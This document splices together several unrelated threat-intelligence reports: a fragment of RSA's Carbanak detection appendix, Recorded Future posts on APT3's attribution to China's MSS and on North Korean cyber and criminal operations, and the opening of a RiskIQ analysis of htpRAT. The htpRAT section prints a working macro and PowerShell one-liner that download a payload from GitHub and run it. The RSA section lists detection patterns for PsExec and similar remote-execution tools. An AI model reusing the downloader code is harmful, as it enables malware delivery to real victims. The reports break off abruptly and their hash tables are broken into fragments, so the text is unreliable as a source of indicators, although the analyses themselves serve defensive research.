Outbound HTTP over TCP/443, Direct to IP Address, User-Agent Beginning with wget or cmd.exe -> qwinsta.exe Outbound SSH where Client Application and Server Application = openssh_5.3 or Client Application = Server Application WindowsCtlMonitor Windows Service PSEXESVC.EXE, WINEXESVC.EXE in C:\Windows /usr/share/man/mann Directory Usage ssh, sshd, auditd in NonStandard Directories Linux System Binary Names Not Associated With RPM Package Linux Child Processes with a Parent of systemd Not Associated With RPM Package HKLM\SYSTEM\ControlSet001\ services\PSEXESVC Registry Entries HKLM\SYSTEM\ControlSet001\ services\WINEXESVC Registry Entries Command Line Arguments Ending in Command Line Arguments Containing \\[a-zA-Z0-9]{3,} Network Indicators WHITE PAPER 7. DIGITAL APPENDIX Below is a list of the files and folders contained within the RSA_IR_ CARBANAK_Digital_Appendix. While specifically created for RSA technologies, this Digital Appendix also contains traditional IOCs and descriptive content that can be integrated into third-party technologies, such as OSQuery, Moloch and SOF-ELK. For RSA NetWitness Suite users, the supplied content is currently available in RSA Live but provided here for custom content creation purposes. All content should be tested before full integration into RSA NetWitness Endpoint, RSA NetWitness Logs and Packets, or third-party tools to prevent any adverse effects from unknown environmental variables. RSA_IR_Digital_Appendix.zip File Hash: AD4B3B859FA85957B479D824E19C9957 RSA_IR_Digital_Appendix.zip Contents: NetWitness_Endpoint oo tinyp_unique_command_line_arguments.sql oo psexec_winexe_remote_service_creation.sql NetWitness_Packets oo RSA_IR_Carbanak_Domain.csv List of Carbanak domains referenced in report oo RSA_IR_Carbanak_Domain.xml oo RSA_IR_Carbanak_IP.csv List of Carbanak IPs referenced in report oo RSA_IR_Carbanak_IP.xml oo auditunnel_init.lua AUDITUNNEL traffic pattern identification with comments oo gotroj_beacon_parser.lua GOTROJ traffic pattern identification with comments CARBANAK_Hashset.md5 List of Carbanak file hashes referenced in report RSA and the RSA logo, are registered trademarks or trademarks of Dell Technologies in the United States and other countries. Copyright 2017 Dell Technologies. All rights reserved. Published in the USA. 10/17 White Paper H16777. RSA believes the information in this document is accurate as of its publication date. The information is subject to change without notice. Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3 recordedfuture.com /chinese-mss-behind-apt3/ The Recorded Future Blog 5/17/2017 Posted in Cyber Threat Intelligence by Insikt Group on May 17, 2017 This is the first time researchers have been able to attribute a threat actor group with a high degree of confidence to the Ministry of State Security. Key Takeaways APT3 is the first threat actor group that has been attributed with a high degree of confidence directly to the Chinese Ministry of State Security (MSS). On May 9, a mysterious group called intrusiontruth attributed APT3 to a company, Guangzhou Boyu Information Technology Company, based in Guangzhou, China. Recorded Future s open source research and analysis has corroborated the company, also known as Boyusec, is working on behalf of the Chinese Ministry of State Security. Customers should re-examine any intrusion activity known or suspected to be APT3 and all activity from associated malware families as well as re-evaluate security controls and policies. Introduction On May 9, a mysterious group calling itself intrusiontruth identified a contractor for the Chinese Ministry of State Security (MSS) as the group behind the APT3 cyber intrusions. Recorded Future timeline of APT3 victims. Screenshot of a blog post from intrusiontruth in APT3. Intrusiontruth documented historic connections between domains used by an APT3 tool called Pirpi and two shareholders in a Chinese information security company named Guangzhou Boyu Information Technology Company, Ltd (also known as Boyusec). Registration information for a domain linked to the malware Pirpi. The details show the domain was registered to Dong Hao and Boyusec. APT3 has traditionally targeted a wide-range of companies and technologies, likely to fulfill intelligence collection requirements on behalf of the MSS (see research below). Recorded Future has been closely following APT3 and has discovered additional information corroborating that the MSS is responsible for the intrusion activity conducted by the group. Recorded Future Intel Card for APT3. Background APT3 (also known as UPS, Gothic Panda, and TG-011) is a sophisticated threat group that has been active since at least 2010. APT3 utilizes a broad range of tools and techniques including spearphishing attacks, zero-day exploits, and numerous unique and publicly available remote access tools (RAT). Victims of APT3 intrusions include companies in the defense, telecommunications, transportation, and advanced technology sectors as well as government departments and bureaus in Hong Kong, the U.S., and several other countries. Analysis On Boyusec s website, the company explicitly identifies two organizations that it cooperatively partners with, Huawei Technologies and the Guangdong Information Technology Security Evaluation Center (or Guangdong ITSEC). Screenshot of Boyusec s website where Huawei and Guangdong ITSEC are identified as collaborative partners. In November 2016, the Washington Free Beacon reported that a Pentagon internal intelligence report had exposed a product that Boyusec and Huawei were jointly producing. According to the Pentagon s report, the two companies were working together to produce security products, likely containing a backdoor, that would allow Chinese intelligence to capture data and control computer and telecommunications equipment. The article quotes government officials and analysts stating that Boyusec and the MSS are closely connected, and that Boyusec appears to be a cover company for the MSS. Imagery 2017 DigitalGlobe, Map data 2017 Boyusec is located in Room 1103 of the Huapu Square West Tower in Guangzhou, China. Boyusec s work with its other cooperative partner, Guangdong ITSEC, has been less well-documented. As will be laid out below, Recorded Future s research has concluded that Guangdong ITSEC is subordinate to an MSS-run organization called China Information Technology Evaluation Center (CNITSEC) and that Boyusec has been working with Guangdong ITSEC on a joint active defense lab since 2014. Guangdong ITSEC is one in a nation-wide network of security evaluation centers certified and administered by CNITSEC. According to Chinese state-run media, Guangdong ITSEC became the sixteenth nationwide branch of CNITSEC in May 2011. Guangdong ITSEC s site also lists itself as CNITSEC s Guangdong Office on its header. According to academic research published in China and Cybersecurity: Espionage, Strategy, and Politics in the Digital Domain, CNITSEC is run by the MSS and houses much of the intelligence service s technical cyber expertise. CNITSEC is used by the MSS to conduct vulnerability testing and software reliability assessments. Per a 2009 U.S. State Department cable, it is believed China may also use vulnerabilities derived from CNITSEC activities in intelligence operations. CNITSEC s Director, Wu Shizhong, even self-identifies as MSS, including for his work as a deputy head of China s National Information Security Standards Committee as recently as January 2016. Recorded Future research identified several job advertisements on Chinese-language job sites such as jobs.zhaopin.com, jobui.com, and kanzhun.com since 2015, Boyusec revealed a collaboratively established joint active defense lab (referred to as an ADUL) with Guangdong ITSEC in 2014. Boyusec stated that the mission of the joint lab was to develop risk-based security technology and to provide users with innovative network defense capabilities. Job posting where Boyusec highlights the joint lab with Guangdong ITSEC. The translated text is, In 2014, Guangzhou Boyu Information Technology Company and Guangdong ITSEC cooperated closely to establish a joint active defense lab (ADUL). Conclusion The lifecycle of APT3 is emblematic of how the MSS conducts operations in both the human and cyber domains. According to scholars of Chinese intelligence, the MSS is composed of national, provincial, and local elements. Many of these elements, especially at the provincial and local levels, include organizations with valid public missions to act as a cover for MSS intelligence operations. Some of these organizations include think tanks such as CICIR, while others include provincial-level governments and local offices. In the case of APT3 and Boyusec, this MSS operational concept serves as a model for understanding the cyber activity and lifecycle: While Boyusec has a website, an online presence, and a stated information security services mission, it cites only two partners, Huawei and Guangdong ITSEC. Intrusiontruth and the Washington Free Beacon have linked Boyusec to supporting and engaging in cyber activity on behalf of the Chinese intelligence services. Recorded Future s open source research has revealed that Boyusec s other partner is a field office for a branch of the MSS. Boyusec and Guangdong ITSEC have been documented working collaboratively together since at least 2014. Academic research spanning decades documents an MSS operational model that utilizes organizations, seemingly without an intelligence mission, at all levels of the state to serve as cover for MSS intelligence operations. According to its website, Boyusec has only two collaborative partners, one of which (Huawei) it is working with to support Chinese intelligence services, the other, Guangdong ITSEC, which is actually a field site for a branch of the MSS. Graphic displaying the relationship between the MSS and APT3. Impact The implications are clear and expansive. Recorded Future s research leads us to attribute APT3 to the Chinese Ministry of State Security and Boyusec with a high degree of confidence. Boyusec has a documented history of producing malicious technology and working with the Chinese intelligence services. APT3 is the first threat actor group that has been attributed with a high degree of confidence directly to the MSS. Companies in sectors that have been victimized by APT3 now must adjust their strategies to defend against the resources and technology of the Chinese government. In this real-life David versus Goliath situation, customers need both smart security controls and policy, as well as actionable and strategic threat intelligence. APT3 is not just another cyber threat group engaging in malicious cyber activity; research indicates that Boyusec is an asset of the MSS and their activities support China s political, economic, diplomatic, and military goals. The MSS derives intelligence collection requirements from state and party leadership, many of which are defined broadly every five years in official government directives called Five Year Plans. Many APT3 victims have fallen into sectors highlighted by the most recent Five Year Plan, including green/alternative energy, defense-related science and technology, biomedical, and aerospace. North Korea Is Not Crazy www.recordedfuture.com /north-korea-cyber-activity/ The Recorded Future Blog by Insikt Group on June 15, 2017 Intent is critical to comprehending North Korean cyber activity. Understanding North Korean national objectives, state organizations, and military strategy are key to, and often missing from, discussions about attributing North Korean cyber activity. Frequently, senior political leaders, cyber security professionals, and diplomats describe North Korean leaders or their respective actions as crazy, erratic, not rational. This is not the case. When examined through the lens of North Korean military strategy, national goals, and security perceptions, cyber activities correspond to their larger approach. Recorded Future research reveals that North Korean cyber actors are not crazy or irrational: they just have a wider operational scope than most other intelligence services. This scope comprises a broad range of criminal and terrorist activity, including illegal drug manufacturing and selling, counterfeit currency production, bombings, assassination attempts, and more. The National Security Agency (NSA) has attributed the April WannaCry ransomware attacks to North Korea s intelligence service, the Reconnaissance General Bureau (RGB). We assess that use of ransomware to raise funds for the state would fall under both North Korea s asymmetric military strategy and self-financing policy, and be within the broad operational remit of their intelligence services. Background The Democratic People s Republic of Korea (DPRK or North Korea) is a hereditary, Asian monarchy with state, party, and military organizations dedicated to preserving the leadership of the Kim family. North Korea is organized around its communist party, the Korean Worker s Party (KWP), and the military, the Korean People s Army (KPA). The Reconnaissance General Bureau (RGB), also known as Unit 586, was formed in 2009 after a large restructure of several state, military, and party intelligence elements. Subordinate to the KPA, it has since emerged as not just the dominant North Korean foreign intelligence service, but also the center for clandestine operations. The RGB and its predecessor organizations are believed responsible for a series of bombings, assassination attempts, hijackings, and kidnappings commencing in the late 1950s, as well as a litany of criminal activities, including drug smuggling and manufacturing, counterfeiting, destructive cyber attacks, and more. Satellite Image of the RGB Southern Operations Building in Pyongyang. ( Source) As North Korea s lead for clandestine operations, the RGB is also likely the primary cyber operations organization as well. As described by the Center for Strategic and International Studies in 2015 report: The RGB is a hub of North Korean intelligence, commando, and sabotage operations. The RGB history of its leadership and component parts paints a picture of a one-stop shop for illegal and clandestine activity conducted outside the DPRK. The RGB and, prior to 2009 its component parts, have been involved in everything from maritime-inserted commando raids to abductions and spying. For the RGB to be in control of cyber assets indicates that the DPRK intends to use these assets for provocative purposes. The RGB probably consists of seven bureaus; six original bureaus and a new seventh (Bureau 121) that was likely added sometime after 2013. RGB organizational chart, compiled with information from The Korea Herald, 38 North, and CSIS. Bureau 121 is probably North Korea s primary cyber operations unit, but there are other units within the KPA and KWP that may also conduct cyber operations. Attribution of specific cyber activity to the North Korean state or intelligence organizations is difficult, and up until recently, circumstantial. On June 12, US-CERT released a joint technical alert that summarized analysis conducted by the U.S. Department of Homeland Security (DHS) and FBI on the tools and infrastructure used by cyber actors of the North Korean government to target the media, aerospace, financial, and critical infrastructure sectors in the United States and globally. This alert marked the first time the U.S. government linked threat actor groups and malware long-suspected to be utilized by North Korean state-sponsored actors with the with North Korean government itself. DHS and FBI explicitly identified two threat actor groups, Lazarus Group and Guardians of Peace, and three tools, Destover, Wild Positron/Duuzer, and Hangman, as used by the North Korean government. While the FBI and DHS identified many indicators of compromise, Yara rules, and network signatures, the report did not provide any evidence supporting the attribution to the North Korean government or details on which organization or unit might be responsible. Lazarus Group, now known to be North Korean state-sponsored actors, have been conducting operations since at least 2009, with a DDoS attack on U.S. and South Korean websites using the MYDOOM worm. Until late 2015, Lazarus Group cyber activities primarily focused on South Korean and U.S. government and financial organizations, including destructive attacks on South Korean banking and media sectors in 2013 and highly publicized attack on Sony Pictures Entertainment in 2014. Timeline of Lazarus Group cyber operations since 2009. In early 2016, a new pattern of activity began to emerge in an unusual operation against the Bangladesh Central Bank. Actors obtained the legitimate Bangladesh Central Bank credentials for the SWIFT interbank messaging system and used them to attempt to transfer $951 million of the bank s funds to accounts around the world. A few simple errors by the actors (and some pure luck) allowed central bankers to prevent the transfer of or recover most of the funds, but the attackers ended up getting away with nearly $81 million. The National Security Agency ( NSA) has attributed this attack on the Bangladesh Central Bank to the North Korean state, however, the investigation within the U.S. government is still ongoing. Threat analysts from numerous companies have attributed this attack and subsequent attacks on banks around the world through early 2017 to the Lazarus Group (which DHS, FBI, and NSA have all linked to the North Korean government over the past three days). According to a Washington Post report published on June 14, the NSA has compiled an intelligence assessment on the WannaCry campaign and has attributed the creation of the WannaCry worm to cyber actors sponsored by the RGB. This assessment, which was apparently issued internally last week, cited moderate confidence in the attribution and ascribed the April campaign as an attempt to raise revenue for the regime. The attacks on the Bangladesh Central Bank, additional banks around the world, and the WannaCry ransomware campaign represent a new phase in North Korean cyber operations, one that mirrors the phases of violence and criminality North Korea has passed through over the past 50 years. We will examine these phases later in this post. The broad operational range of known and suspected North Korean cyber operations has for years raised questions about the rationality of North Korean leadership, possible motivations and benefits for the country from this type of cyber activity, and why North Korea would deny responsibility for these attacks. Recorded Future research addresses these questions by examining the whole picture and pairing geopolitical and strategic intelligence with threat intelligence. Analysis Digging into some of these past North Korean activities is important to add context to the cyber operations we have tracked since 2009. North Korea s engagement in a wide range of criminal and terrorist activities is part of its broad national strategy, which employs asymmetric operations and surprise attacks to overcome North Korea conventional national power deficit. According to an interview with a former U.S. State Department official, and North Korea expert, in Vanity Fair, crime, in other words, has become an integral part of North Korea s economy. It not only pays, it plays to their strategy of undermining Western interests.1 It is critical to place North Korea s criminal and cyber activity in the context of its larger military and national security strategies which support two primary objectives: 1. Perpetuation of the Kim regime, 2. Unification of the Korean peninsula under North Korean leadership. A 2016 University of Washington study succinctly summarizes North Korea s asymmetric military strategy: Since the end of the Korean War, North Korea has developed an asymmetric military strategy, weapons, and strength because its conventional military power is far weaker than that of the U.S. and South Korea. Thus, North Korea has developed three military strategic pillars: surprise attack; quick decisive war; mixed tactics. First, its surprise attack strategy refers to attacking the enemy at an unexpected time and place. Second, its quick decisive war strategy is to defeat the South Korean military before the U.S. military or international community could intervene. Lastly, its mixed tactics strategy is to use multiple tactics at the same time to achieve its strategic goal. Despite their near-constant tirade of bellicose rhetoric and professions of strength, North Korea fundamentally views the world from a position of weakness, and has developed a national strategy that utilizes its comparative strengths complete control over a population of 25 million people and unflinching, amoral devotion to the Kim hereditary dynasty. In this context, criminality, terrorism, and destructive cyber attacks all fit within the North Korean asymmetric military strategy which emphasizes surprise attacks and mixed tactics. The criminality and cyber attacks also have the added bonus of enabling North Korea to undermine the very international economic and political systems that constrain and punish it. Evidence is mounting that sanctions, international pressure, and possibly increased enforcement by China are beginning to take their toll on the North Korean economy and in particular, North Korea intelligence agent s ability to procure goods for regime leadership. A May 2017 report from the Korea Development Institute concluded that North Korea s black market had helped the nation endure the impacts of the international sanctions last year. Detailed below are numerous non-cyber operations that have been conducted by the predecessor organizations of the RGB. The violence, destruction, and criminal breadth of these operations reveal the broad operational scope of these intelligence services and the context in which they are conducted. This data further reveals a history of denials by North Korea of responsibility for operations dating back to the 1960s, putting into context the current leadership s denials of cyber operations. Note The activities detailed below are intended to be illustrative, not an exhaustive list, of the broad operational remit for North Korean operations. Blue House Raid One of the first major attacks on South Korea since the armistice was declared after the Korean War in 1953 occurred in 1968. The so-called Blue House Raid was an assassination attempt on then-President Park Chung Hee by 31 North Korean special operations soldiers on the night of January 20, 1968. The 31 North Korean soldiers crossed the DeMilitarized Zone (DMZ) on foot and managed to get within a half mile of the President s residence (the so-called Blue House ) before being exposed. Upon discovery the North Korean soldiers engaged in a series of firefights with South Korean forces; 68 South Koreans and three U.S. soldiers were killed. Most of the North Korean soldiers were killed in the eight days after the raid; two made it back across the DMZ and one was captured. The captured North Korean soldier claimed during a press conference that they had come to cut Park Chung Hee throat. That account was disputed during a secret meeting in 1972 between a South Korean intelligence official and the then-Premier Kim Il-sung. Kim claimed his government had nothing to do with the raid and did not even know about it at the time. A captured North Korean soldier after the Blue House Raid. (Source) 1983 Rangoon Bombing On October 9, 1983, three North Korean soldiers attempted to assassinate then-South Korean President Chun Doo Hwan while on a trip to Myanmar. A bomb at a mausoleum the President was scheduled to visit detonated early, killing 21 people, including the Korean Foreign Minister and Deputy Prime Minister. During the trial for the bombers, testimony revealed that the North Korean agents used a North Korean trading vessel to travel to Myanmar and the home of a North Korean diplomat to prepare the bombs. In a classified report (report was declassified in 2000) ten days after the bombing, CIA analysts laid out a strong case that North Korea was responsible for the attack despite official denials of involvement from the official North Korean news agency. North Korean state media even accused President Chun of using the attack to increase tensions on the peninsula. South Korean officials wait at the mausoleum in Rangoon minutes before the bomb detonated. (Source) Korean Air Flight 858 Bombing On November 29, 1987, two North Korean intelligence agents boarded and placed a bomb on a Korean Air flight from Baghdad, Iraq to Seoul. During a layover in Abu Dhabi, the two agents de-planed but left the bomb (disguised as a radio) onboard. The bomb detonated and the plane crashed in the jungle on the Thai-Burma border and killed all 115 people on board. One of the North Korean intelligence agents, who was captured alive, later revealed that the bombing was meant to discourage foreign participation in the 1988 Olympic Games in Seoul and create unrest in South Korea. The agent also confessed that the order to bomb the plane had come directly from then North Korean leader Kim Il-Sung or his son, later leader Kim Jong-il. Transition to Criminality By the mid-1990s, North Korea had generally shifted from acts of terrorism to criminality. While North Korea had held a policy of self-financing,2 in which embassies and diplomatic outposts were forced to earn money for their own operations typically via engaging in illicit activity such as smuggling, since the late 1970s, it was during the 1990s that this criminality became a business of the entire state and not just the diplomatic establishment. A number of factors affected this shift, including the end of the Cold War and the withdrawal of crucial aid from benefactors (like the Soviet Union and China), a crippling famine, a leadership transition, and years of international condemnation and punitive actions. A 2015 report from the Committee for Human Rights in North Korea characterizes North Korea s involvement in illicit economic activities into three separate phases. First, from the origins of North Korea state involvement in the 1970s through mid-1990s, from the mid-90s through the mid-2000s, and approximately 2005 to today. The RGB, its predecessor organizations, and other military and intelligence services support these illicit activities. Illegal Drug Manufacturing and Smuggling North Korea has had a state-sponsored drug smuggling (and later manufacturing as well) program since the mid1970s. This vast enterprise has been supported by the military, intelligence services, and diplomats and has often included working with criminal organizations such as the Taiwanese gang United Bamboo, Philippine criminal syndicates, and Japanese organized crime.3 Academic research indicates that North Korea has developed extensive covert smuggling networks and capabilities primarily to provide a means of hard currency for the Kim regime. The North Korean state actively cultivates opium poppy and produces as much as 50 metric tons of raw opium per year. To put that in context, the United Nations estimates that Afghanistan produced 6,400 tons of raw opium in 2014, which makes North Korea a minor producer in comparison. According to a Congressional Research Service report, government processing labs have the capacity to process twice that amount into opium or heroin each year. Experts estimate that North Korea brings in as much as $550 million to $1 billion annually from illicit economic activities. Counterfeiting One of the more widely reported North Korean criminal enterprises has been the production of counterfeit American $100 (and $50) bills, or so-called supernotes. In a 2006 Congressional testimony, the U.S. Secret Service made a definitive link between the production of the supernote and the North Korean state. According to interviews in a 2006 New York Times Magazine article, North Korean state support for counterfeiting U.S. currency dates back to a directive issued by Kim Jong-il in the mid-1970s. Original counterfeiting involved bleaching $1 bills and reprinting them as $100 notes and evolved over time as North Korea s international isolation grew and its economy collapsed. Supernote and a real $100 bill. (Source) Distribution and production of the supernotes followed a similar pattern to North Korean-produced narcotics, utilizing global criminal syndicates, state and intelligence officials, and legitimate businesses. North Korea has repeatedly denied involvement in counterfeiting or any illegal operations. A History of Denial As outlined above, North Korea has a history of denying responsibility for their violent, illicit, and destructive operations. This includes denying involvement in the Blue House Raid, the Rangoon Bombing, all criminal and illicit activity including counterfeiting U.S. dollars, the Sony Pictures Entertainment attack, and the Bangladesh Central Bank robbery. Some scholars argue that acts such as counterfeiting a nation s currency constitutes a casus belli, an action or event that justifies war, and others argue that international legal norms and constructs do not adequately address what constitutes casus belli in the cyber domain. Both of these arguments, as well as an understanding of North Korea s asymmetric military strategy, underscore why North Korea would not want to claim responsibility for many of these destructive and violent acts. Acknowledging state responsibility could provide the United States or South Korea with a valid casus belli, resulting in a war that North Korea would most certainly lose. Even if the evidence is strong, official government denials create uncertainty and give North Korea space to continue operations. Impact What has been missing from the discussion about whether North Korea is responsible for the WannaCry campaign and the bank heists has been the why the geopolitical and strategic intelligence that give CSOs, security professionals, and threat analysts context for the activity they are seeing. As of last week the NSA and several companies, including Symantec and Kaspersky, have linked the recent WannaCry ransomware campaign to North Korea; Recorded Future assesses that this type of cyber activity would fall within both North Korea self-financing policy and asymmetric military strategy. In this context, as a nation that is under immense international financial and political pressure and one that employs these types of policies and strategies, Recorded Future believes that North Korean cyber operations (with the goal of acquiring hard currency) will continue for at least the short to medium term (one to three years). Additionally, destructive cyber operations against the South Korean government and commercial entities will persist over this same term and likely expand to Japanese or Western organizations if U.S. and North Korea tensions remain high. The cyber threat environment and military strategy framed above indicate that companies in several major economic sectors should increase monitoring of North Korean cyber activity. Financial services firms must remain constantly vigilant to exploitation of their SWIFT connections and credentials, possible destructive malware attacks and DDoS, and threats to customer accounts and data. Companies in the government contracting and defense sectors, especially companies that support the Terminal High Altitude Area Defense (THAAD) system deployment as well as U.S. or South Korean operations on peninsula, should be aware of the heightened threat environment to their networks and operations on the Korean peninsula. Energy and media companies, particularly those located in or that support these sectors in South Korea, should be alert to a wide range of cyber activity from North Korea, including DDoS, destructive malware, and ransomware attacks. Broadly, organizations in all sectors should continue to be aware of the adaptability of ransomware and modify their cyber security strategies as the threat evolves. This is part one of a two-part series on North Korea. In part two, we will examine patterns of behavior and internet activity from North Korea, including the widespread use of virtual private servers (VPS) and virtual private networks (VPN) to obfuscate browsing, internet transactions, and other, possibly malicious, activity. Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN By Yonathan Klijnsma Table of Contents Introduction................................................................................................................................................................................ 3 Initial infection through APA List.xls ......................................................................................................................... 4 GitHub repositories for payload delivery...................................................................................................................... 5 Staged delivery of the final htpRAT core...................................................................................................................... 9 Analysis of the htpRAT core...............................................................................................................................................11 Persistence & storage.............................................................................................................................................................11 Communication protocol.....................................................................................................................................................12 Execution of operator commands...................................................................................................................................15 Infrastructure analysis..........................................................................................................................................................16 Other activity by the actor using htpRAT..................................................................................................................18 Indicator of compromise.....................................................................................................................................................19 Introduction On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary s arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs file download or file upload, for example and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim s network, simply by wrapping commands. The file APA list.xls (sha256: f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eefa0a88eeff89) was delivered through email: The top part contains Lao and English: Enable Content roughly translates as You can click Enable Content to (see/change) the data, with an added example image of how to enable the macros in the document. Based on embedded metadata inside the Excel sheet, the last modified date on the file was Mon Nov 07 07:18:32 2016, meaning the document was prepared just before sending it to the target. Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Initial infection through APA List.xls The XLS document contains the following macro: Attribute VB_Name = ThisWorkbook Attribute VB_Base = 0{00020819-0000-0000-C000-000000000046} Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Set objshell = CreateObject( wscript.shell a = objshell.Run( cmd.exe /s /c powe rshell (New-Object System.Net. WebClient).DownloadFile(\ https://raw.githubusercontent.com/justtest1314/justme2/ master/20160728.jpg\ ,$env:appdata+\ \\ctfmon.exe\ ; && start %appdata%\\ ctfmon.exe , 0, False) Set objshell = Nothing Sheet3.Visible = 1 Sheet2.Visible = 1 Sheet1.Visible = 1 Sheet1.Unprotect Sheet1.Activate Chart3.Visible = 0 End Sub Once the macro is enabled, the following PowerShell command runs to download a file and execute it (the downloaded file is stored in the Application Data folder in the user s local profile). It is interesting to note the use of GitHub over HTTPS to stage the payload: cmd.exe /s /c powershell (New-Object System.Net.WebClient).DownloadFile( https:// raw.githubusercontent.com/justtest1314/justme2/master/20160728. ,$env:appdata+ \\ctfmon.exe ); && start %appdata%\\ctfmon.exe Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN GitHub repositories for payload delivery The threat actor behind this attack uses GitHub repositories to store second stage payloads. The user account used on GitHub is justtest1314 which holds three repositories, two of which have never been used since they were created. The third repository named justme2 has been actively used to test different variations of transferring a payload from GitHub to a target machine over the course of six to seven months. The account and the initial repository were created on March 30, 2016, with the first commits starting the same day. Since the attack on the target in Laos, the attacker decided to clear out the repository. The files were prepped and ready for possible attacks since July 28, three months before the above documented attack. The files were removed on November 18, approximately 10 days after the attack against the Lao organization took place. The actor did not remove the actual repository, but rather cleared out the repository using commits in which the attacker removed the files. This allowed us to get the whole history of all the commits over time as well as every payload (and every version of the payload): Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Based on the Git commit history, we can make a small table showing which file was changed at what time: Commit timestamp Commit hash Files added Files changed Files deleted Mar 30, 2016, 3:55 AM GMT+2 9760f003facc0428e44a5e4da2d3d591c6d711ef README.md Mar 30, 2016, 3:56 AM GMT+2 cac8dace24e03a48b804e36a50d24f7747538ffc 8001.exe Mar 30, 2016, 3:56 AM GMT+2 21e84fa5897de3c7e85d871e4ba33cb0611232ea Mar 30, 2016, 3:58 AM GMT+2 bebf35aeb82b80249312ed12cf0df81409537149 test.zip Apr 1, 2016, 10:16 AM GMT+2 530ce17aa21250d9ce38525f353badb8c2f0c859 ctfmon.jpg Apr 20, 2016, 3:07 AM GMT+2 87d999a3dc71a77ff95ec684e0805505dd822764 script.jpg May 5, 2016, 4:54 AM GMT+2 a63e06112517d9d734b053764354b66e20f12151 2011.jpg May 5, 2016, 4:58 AM GMT+2 eda99ee315d4702b02646a4d8c22b5e2eb5aa01f 2011.jpg May 5, 2016, 5:10 AM GMT+2 9d43ce169be6c773d8cfc755b36a26118c98ad1d 2011.jpg Jul 28, 2016, 10:55 AM GMT+2 e2d697dd03fa6ca535450a771e9b694ae18c22ce Nov 18, 2016, 5:00 AM GMT+2 f9ba255f5ce38dbe7a860b1de6525fdb5daf9f86 test.zip Nov 18, 2016, 5:00 AM GMT+2 3cf50c62107265916777992f7745a1a0ec381d6f script.jpg Nov 18, 2016, 5:00 AM GMT+2 bf74c7199eb643fbb2ee998a643469f155439e18 ctfmon.jpg Nov 18, 2016, 5:00 AM GMT+2 75b55d9dc45b245b91a3bbd5ebaf64a76dee1f56 20160728. Nov 18, 2016, 5:01 AM GMT+2 fc2a6c0e53b15c93d392f605f3180a43c7c0c78e 2011.jpg 8001.exe 20160728.jpg While only 20160728.jpg was used in the above mentioned attack, there are many other available payloads. All files besides 2011.jpg are portable executables. 2011.jpg is in fact a scriptlet file containing some VBS scripting to download the test.zip file seen in the above commit log. The scriptlet looks like this (the three versions only had minimal changes, most importantly the Target variable was changed to a random path as to not conflict with already existing files): Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Test.zip is the first stage payload of htpRAT, similar to the 20160728.jpg file downloaded by the XLS mentioned at the start of this report. The following table lists the files and their respected MD5 and SHA256 values (note, 2011.jpg exists multiple times due to the multiple commits/changes done on this file: Filename SHA256 2011.jpg (commit: 9d43c169be6c773d8cfc755 36a26118c98ad1d) a164a57e10d257caa1b6230153c05f5d ccfccbe54af2aec39a85d28b22614e2f 43d084a2bcadeae75cad488a8957d862 2011.jpg (commit: a63e06112517d9d734 053764354b66e20f12151) 01cddd0509d725c0ee732e2ef6109ecd 4b2f8cf7d6b2220cc17c66755564e68d3ab997a f1ab3f47cbe2fa79293b3d38c 2011.jpg (commit: eda99ee315d4702b02646a4 8c22b5e2eb5aa01f) 81b11c60b28a17c8a39503daf69e2f62 6b4f605e4cffce074e683f2ade409a 56c318a34f1e4b6b0f15b582c5c66b64e9 20160728.jpg 5fa81da711581228763a7b7c74992cf8 593e13dca3ab6ce6358eec09669f69faef40f1e 67069b08e0fe3f8451aaf62ec 8001.exe 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 ctfmon.jpg d5a9d5d1811c149769833ae1cd3b1aca ee1ea9df1f8d7aaa03a93692c1deab09e8d 834d52e9d5971d013ed259d30229c script.jpg 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 test.zip 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 Staged delivery of the final htpRAT core The analysis starts from the downloaded payload coming from the APA list.xls file. The payload was downloaded to the application data folder and renamed to ctfmon.exe from the original 20160728.jpg name (SHA256: 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe3f8451aaf62ec). The author calls this first package Microsoft based on the project PDB path still left in the binary: C:\Users\cool\Documents\Visual Studio 2010\Projects\microsoft\Release\microsoft.pdb Upon execution, it first checks if a debugger is active as well as checks if it is able to execute the ipconfig utility, most likely to ensure the next step will succeed. It then proceeds to drop a CAB file named temp. in the local temp directory. The CAB file is a compressed bundle containing the third stage of the infection. The code decompresses the CAB file by running the Microsoft expand utility locally. The following three files from the CAB file are placed in the local application data folder in a subfolder called Microsoft Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN Filename SHA256 data 69d24b6fdc87af3a04318e1502e07977 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc949f8e627ed3 848bdc68a fsma32.dll a58f3f9441b4ecc9a0e089578048756f 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e 6865ba1eefd234 winnet.exe 